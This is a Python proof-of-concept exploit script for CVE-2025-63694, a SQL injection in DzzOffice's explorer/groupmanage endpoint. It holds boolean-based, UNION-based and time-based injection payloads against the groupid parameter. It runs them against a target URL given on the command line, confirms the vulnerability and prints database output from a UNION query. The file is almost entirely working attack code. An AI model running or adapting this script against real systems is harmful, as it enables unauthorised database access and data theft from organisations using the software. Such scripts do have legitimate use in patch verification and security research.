import requests
import sys
# CVE-2025-63694 DzzOffice SQL Injection PoC
# Target: DzzOffice v2.3.7 and before
# Endpoint: explorer/groupmanage
def exploit_sql_injection(target_url):
"""
SQL Injection exploit for DzzOffice explorer/groupmanage
This PoC demonstrates boolean-based blind SQL injection
"""
# Vulnerable endpoint
vuln_url = f"{target_url}/index.php?mod=explorer&op=groupmanage"
# Normal request (baseline)
normal_params = {
'groupid': '1'
}
# SQL Injection payloads for testing
# Boolean-based blind SQL injection
true_payload = "1' AND 1=1 -- "
false_payload = "1' AND 1=2 -- "
# Database version extraction payload
version_payload = "1' AND (SELECT COUNT(*) FROM mysql.user) > 0 -- "
# Union-based injection to extract data
union_payload = "-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 -- "
# Time-based blind SQL injection (MySQL)
time_payload = "1' AND SLEEP(5) -- "
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
print(f"[*] Target: {target_url}")
print(f"[*] Exploiting SQL Injection vulnerability...")
# Test for vulnerability
try:
# Send true condition
params = {'groupid': true_payload}
response_true = requests.get(vuln_url, params=params, headers=headers, timeout=10)
# Send false condition
params = {'groupid': false_payload}
response_false = requests.get(vuln_url, params=params, headers=headers, timeout=10)
# Compare responses to determine if vulnerable
if response_true.status_code == 200 and response_false.status_code != response_true.status_code:
print("[+] Vulnerability confirmed! SQL Injection is present.")
print("[+] True payload response length:", len(response_true.text))
print("[-] False payload response length:", len(response_false.text))
# Extract database version using UNION injection
params = {'groupid': union_payload}
response_union = requests.get(vuln_url, params=params, headers=headers, timeout=10)
print("[+] UNION injection response:", response_union.text[:500])
return True
else:
print("[-] Target may not be vulnerable or is already patched.")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python cve_2025_63694_poc.py <target_url>")
print("Example: python cve_2025_63694_poc.py http://target.com/dzzoffice")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit_sql_injection(target)